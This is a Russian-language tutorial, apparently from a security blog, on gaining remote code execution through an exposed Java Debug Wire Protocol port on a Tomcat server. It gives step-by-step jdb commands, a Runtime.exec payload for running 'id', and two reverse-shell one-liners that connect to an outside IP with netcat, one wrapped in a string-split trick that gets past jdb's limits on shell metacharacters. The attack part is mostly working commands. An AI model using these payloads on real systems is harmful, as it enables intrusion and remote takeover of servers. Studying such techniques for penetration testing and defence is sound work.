В этой статье я расскажу о том, что же делать, если в выводе nmap’a для одного из хостов вы увидели:

8000/tcp open  Java Debug Wire Protocol (Reference Implementation) version 1.8 1.8.0_131

Эта тема не нова, довольно подробно описана по ссылкам:

Для эксплуатации RCE в JDWP даже написана тулза, доступная по ссылке, а также модуль в metasploit, который, правда, у меня так и не заработал. Но далеко не все команды можно исполнить с помощью этих инструментов, поэтому рассмотрим, как можно взаимодействовать с JDWP напрямую.

Подключимся к серверу:

jdb -attach 91.142.94.67:8000`

1

Командой classpath мы можем показать переменные окружения: 2

Командами classes и methods "class_name" мы можем вызвать доступные классы и методы. 3

Чтобы мы могли запустить произвольный код, мы должны установить точку останова (breakpoint) на методе, который точно запустится во время выполнения программы. Выполним команду trace go methods: 4 И выберем подходящего кандидата для установки точки останова. Выберем, например, org.apache.tomcat.util.net.SocketProperties.getTimeoutInterval().

Переподключимся к серверу:

jdb -attach 91.142.94.67:8000`

Установим breakpoint: stop in org.apache.tomcat.util.net.SocketProperties.getTimeoutInterval()

Теперь мы можем выполнять команды. Для примера выполним команду id.

print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("id").getInputStream())).readLine())

Таким образом мы выполним команду id и выведем первую строку результата выполнения команды. Далее вводим cont до тех пор, пока команда не будет исполнена.

5

В нижней строке виден вывод команды id.

Если на уязвимом сервере есть netcat с работающей опцией “e” то все просто:

print new java.lang.Runtime().exec("nc 91.142.94.78 4444 -e /bin/bash")

Если же его нет, то нам нужен хотя бы обычный шелл на bash Но JDWP шелл работает очень странно и команды, содержащие & | ; > < и прочее выполнены не будут. А массив комманд мы также не можем назначить в jdb шелле. Но есть решение, оно подробно описано тут. Если коротко, то мы можем использовать метод split.

print new java.lang.Runtime().exec(new java.lang.String("bashS2-cS2mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 91.142.94.78 4444 >/tmp/f").split("S2"))

Тут мы указываем, что S2 это разделитель. И таким образом мы можем вызвать сначала bash -с и в него уже передать аргументы. 6

В результате выполнения команды получаем reverse shell. Так как это тестовый сервер, все было развернуто от пользователя root, в реальности же, шелл будет получен с правами пользователя tomcat.